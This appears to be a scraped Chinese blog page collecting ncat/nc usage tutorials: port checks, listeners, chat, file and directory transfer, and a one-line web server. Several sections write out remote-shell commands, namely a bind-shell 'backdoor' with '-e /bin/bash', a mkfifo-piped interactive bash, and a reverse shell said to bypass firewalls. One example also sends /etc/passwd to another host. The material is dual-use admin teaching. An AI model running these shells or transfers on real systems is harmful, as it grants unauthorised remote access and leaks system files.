-
2019-12-20 16:40:12更多相关内容
-
ncat命令使用实例
2022-03-21 01:50:14Ncat工具功能类似于cat命令,但用于网络。它是一个命令行的工具,用于跨网络读取、写入和重定向数据。它被设计成一个可靠的后端工具,可以与脚本或其他程序一起使用。 ncat可以是端口扫描工具,安全工具或监视工具...Ncat工具功能类似于cat命令,但用于网络。它是一个命令行的工具,用于跨网络读取、写入和重定向数据。它被设计成一个可靠的后端工具,可以与脚本或其他程序一起使用。 ncat可以是端口扫描工具,安全工具或监视工具,并且还是简单的TCP代理。由于它具有许多功能,因此被称为网络瑞士军刀。它是每个系统管理员都应该了解工具之一。
系统环境
如何安装ncat
在Centos7/8系统中ncat安装包名称为
nmap-ncat
[root@server1 ~]# yum -y install nmap-ncat
一、检查TCP的80端口的连接
此示例我们将检查主机名为
DCserver
的80端口连接。[root@server1 ~]# nc -vz DCserver 80 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.0.6:80. Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds.
-z
选项为“Zero - I/O 模式”,用于检查连接状态。二、创建一个监听端口
下面命令可以创建一个tcp监听端口:
[root@server1 ~]# nc -vl 1234 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234
使用netstat -tlunp
查看一下:
在另一台主机中,使用nc命令测试一下该端口的连接:[root@server1 ~]# nc -vz 192.168.43.131 1234 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.43.131:1234. Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds.
然后返回到侦听端,可以看到来自192.168.43.131的45568端口连接侦听端的1234端口。[root@server1 ~]# nc -vl 1234 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 192.168.43.131. Ncat: Connection from 192.168.43.131:45568.
可以使用-k
选项,让侦听端保持打开状态。三、作为聊天工具
ncat
可以用作聊天工具,我们将服务器配置侦听端口,远程主机连接服务器的同一端口并发送消息。在服务器端,运行下面命令开启侦听端口:[root@qdzabbix ~]# ncat -l 8080
在远程主机中运行下面命令,并且在下面输入聊天内容,按回车发送,在服务端可以看到消息内容了。
[root@server1 ~]# ncat 192.168.0.12 8080 Hello qdzabbix
下面在服务端和远程主机都可以看到消息内容。
想要退出,只需要按Ctrl + c
就可以。四、检查SSH软件版本
可以使用nc命令通过将
EXIT
命令发送到ssh的22端口上,来检查服务器软件版本,如下所示:[root@server1 ~]# echo "EXIT" | nc 192.168.43.131 22 SSH-2.0-OpenSSH_7.8 Protocol mismatch.
五、使用ncat创建后门
可以使用ncat命令创建后门。此功能主要由黑客使用。可以这样运行命令,在服务端执行下面一条命令:
[root@qdzabbix ~]# nc -l 5566 -e /bin/bash
-e
选项后面指定运行的命令。现在客户端可以连接到服务器上的端口5566,并且可以通过运行以下命令通过bash完全访问我们的系统:[root@server1 ~]# nc qdzabbix 5566 ls anaconda-ks.cfg a.txt batch Customer_Supplied_Tickets custom_resolv.conf
下图中红线圈出来的就是执行的命令。
六、使用ncat运行带有静态页面的Web服务器
可以在本地主机上使用ncat命令启动Web服务器,这将打开静态网页面
sample.html
。你可以运行如下命令:首先将下面内容保存到
/root/sample.html
文件中。[root@qdzabbix ~]# vim /root/sample.html <html> <head> <title>Test Page</title> </head> <body> <h1>Level 1 header</h1> <h2>Subheading</h2> <p>Normal text here</p> </body> </html>
然后执行下面命令:[root@qdzabbix ~]# while true; do nc -l -p 80 < /root/sample.html ; done
上面命令中,
-p 88
选项指定源端口为80。
在浏览器中访问,可以看到页面内容。总结
ncat工具可以帮助你从使用telnet进行连通性测试切换到使用ncat测试连通性。
-
Linux下ncat命令的使用
2022-03-21 19:31:48 -
【Linux】一步一步学Linux——ncat命令(159)
2019-08-21 16:12:56ncat命令有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具 ncat的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口 (2)端口的扫描,nc...00. 目录
01. 命令概述
ncat命令有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具
ncat的作用
(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
(2)端口的扫描,nc可以作为client发起TCP或UDP连接
(3)机器之间传输文件
(4)机器之间网络测速
02. 命令格式
格式:ncat [选项] [参数]
03. 常用选项
-g<网关>:设置路由器跃程通信网关,最多设置8个; -G<指向器数目>:设置来源路由指向器,其数值为4的倍数; -h:在线帮助; -i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口; -l:使用监听模式,监控传入的资料; -n:直接使用ip地址,而不通过域名服务器; -o<输出文件>:指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存; -p<通信端口>:设置本地主机使用的通信端口; -r:指定源端口和目的端口都进行随机的选择; -s<来源位址>:设置本地主机送出数据包的IP地址; -u:使用UDP传输协议; -v:显示指令执行过程; -w<超时秒数>:设置等待连线的时间; -z:使用0输入/输出模式,只在扫描通信端口时使用。
04. 参考示例
4.1 启动TCP服务端,端口为9999
[root@localhost ~]# ncat -l 9999
或者
[deng@localhost ~]$ ncat -v -lp 9999 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::9999 Ncat: Listening on 0.0.0.0:9999
4.2 启动TCP客户端连接服务端
[root@localhost ~]# ncat 172.16.0.51 10086
或者
[deng@localhost ~]$ nc -v 172.16.0.76 9999 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 172.16.0.76:9999. hello itcast
服务端 IP:172.16.0.76
端口号:10086
4.3 启动UDP服务端,端口9999
[deng@localhost ~]$ ncat -lu 9999
4.4 启动UDP客户端连接UDP服务端
[deng@localhost ~]$ ncat -u 172.16.0.51 10086 hello world
UDP服务端IP:172.16.0.51
UDP服务端端口:10086
4.5 作为客户端工具进行端口探测
[deng@localhost ~]$ ncat -vzw 2 172.16.0.76 10086 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 172.16.0.76:10086. Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds. [deng@localhost ~]$
或者
[deng@localhost ~]$ ncat -vz -w 2 172.16.0.76 10086 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 172.16.0.76:10086. Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds. [deng@localhost ~]$
-v可视化,-z扫描时不发送数据,-w超时几秒,后面跟数字
4.6 扫描连续端口
服务端执行
[deng@localhost ~]$ ncat -l 10086 & [1] 77654 [deng@localhost ~]$ ncat -l 10087 & [2] 77659 [deng@localhost ~]$
客户端执行
[deng@localhost ~]$ ncat -vzw 2 172.16.0.76 10086-10087
4.7 使用ncat传输文件
服务端执行
[deng@localhost ~]$ ncat -l 1234 > txt [deng@localhost ~]$
客户端执行
[root@localhost ~]# ncat 172.16.0.76 1234 < /etc/passwd [root@localhost ~]#
4.8 设置本地端口连接服务端
[root@localhost ~]# ncat -p 1234 -w 5 172.16.0.76 8888 hello world
4.9 模拟http协议首部
[root@localhost ~]# ncat www.baidu.com 80
4.10 扫描80端口
[root@localhost ~]# ncat -nv 172.16.0.76 80 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connection refused. [root@localhost ~]#
4.11 扫描UDP端口
[root@localhost ~]# ncat -u -z -w 2 172.16.0.76 1-1000 [root@localhost ~]#
4.12 扫描TCP端口
[root@localhost ~]# ncat -z -w 2 172.16.0.76 1-1000 [root@localhost ~]#
4.13 传输目录
服务端
[root@localhost ~]# ncat -l 1234 | tar -xzvf -
客户端
[deng@localhost ~]$ tar -czvf - /etc | ncat 172.16.0.76 1234
4.14 执行shell命令
我们可以使用远程shell-使用telnet和ssh,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用netcat创建远程shell。
ncat支持 -c -e 参数
服务端
[deng@localhost ~]$ ncat -v -c /bin/bash -lp 9999 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::9999 Ncat: Listening on 0.0.0.0:9999 Ncat: Connection from 172.16.0.76. Ncat: Connection from 172.16.0.76:22730.
客户端
[deng@localhost ~]$ ncat -v 172.16.0.76 9999 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 172.16.0.76:9999. ls
4.15 执行shell
如果ncat不支持-c 或者 -e 参数(openbsd ncat),我们仍然能够创建远程shell
服务端
[deng@localhost ~]$ mkfifo /tmp/fifo [deng@localhost ~]$ cat /tmp/fifo | /bin/bash -i 2>&1 | nc -v -lp 9999 > /tmp/fifo Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::9999 Ncat: Listening on 0.0.0.0:9999 Ncat: Connection from 172.16.0.76. Ncat: Connection from 172.16.0.76:22732.
这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到ncat运行的端口9999上。至此,我们已经把ncat的输出重定向到fifo文件中。
说明:
从网络收到的输入写到fifo文件中
cat 命令读取fifo文件并且其内容发送给bash命令
bash命令进程受到输入并把它写回到ncat。
ncat通过网络发送输出到client
至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。
客户端
[deng@localhost ~]$ ncat 172.16.0.76 9999 [deng@localhost ~]$ pwd pwd /home/deng [deng@localhost ~]$
4.16 反向shell
反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。
服务端
[deng@localhost ~]$ ncat -v -lp 9999 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::9999 Ncat: Listening on 0.0.0.0:9999 Ncat: Connection from 172.16.0.76. Ncat: Connection from 172.16.0.76:22736. pwd /home/deng
客户端
[deng@localhost ~]$ ncat -v 172.16.0.76 9999 -c /bin/bash Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 172.16.0.76:9999.
反向shell经常被用来绕过防火墙的限制,如阻止入站连接。
4.17 指定源端口
使用-p选项指定源端口。
服务端
[deng@localhost ~]$ ncat -v -lp 9998 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::9998 Ncat: Listening on 0.0.0.0:9998 Ncat: Connection from 172.16.0.76. Ncat: Connection from 172.16.0.76:9999.
客户端
[deng@localhost ~]$ ncat -v 172.16.0.76 9998 -p 9999 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 172.16.0.76:9998.
4.18 指定源地址
假设你的机器有多个地址,希望明确指定使用哪个地址用于外部数据通讯。我们可以在ncat中使用-s选项指定ip地址
服务端
[deng@localhost ~]$ ncat -v -lp 9998 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::9998 Ncat: Listening on 0.0.0.0:9998 Ncat: Connection from 172.16.0.76. Ncat: Connection from 172.16.0.76:15827. hello world
客户端
[deng@localhost ~]$ ncat -v 172.16.0.76 9998 -s 172.16.0.76 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 172.16.0.76:9998. hello world
05. 附录
参考:https://www.jianshu.com/p/9c2d8b1f0c5a
-
linux nc/ncat 命令详解
2018-04-24 14:02:49在centos7上nc和ncat是同一个工具 nc/ncat是一个功能丰富的网络实用程序,可通过命令行在网络上读写数据。 它旨在成为一种可靠的后端工具,可立即为其他应用程序和用户提供网络连接。 nc/ncat不仅可以使用IPv4和... -
linux ncat命令
2017-05-11 21:40:00使用netcat命令所能完成的事情令人惊讶。 netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它... -
Windows 下使用 nmap ncat 命令测试 UDP 端口连接
2021-09-07 15:29:56使用 nc 命令测试 UDP 端口连通性的语法如下: # nc -z -v -u [主机名/IP 地址] [端口号] 成功连接示例: F:\netcat-win32-1.12>nc -z -v -u ntp.aliyun.com 123 Warning: inverse host lookup failed for 203.... -
linux 【网络】ncat详解
2020-03-09 22:40:12nmap-ncat.x86_64版nc/ncat nc/ncat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立...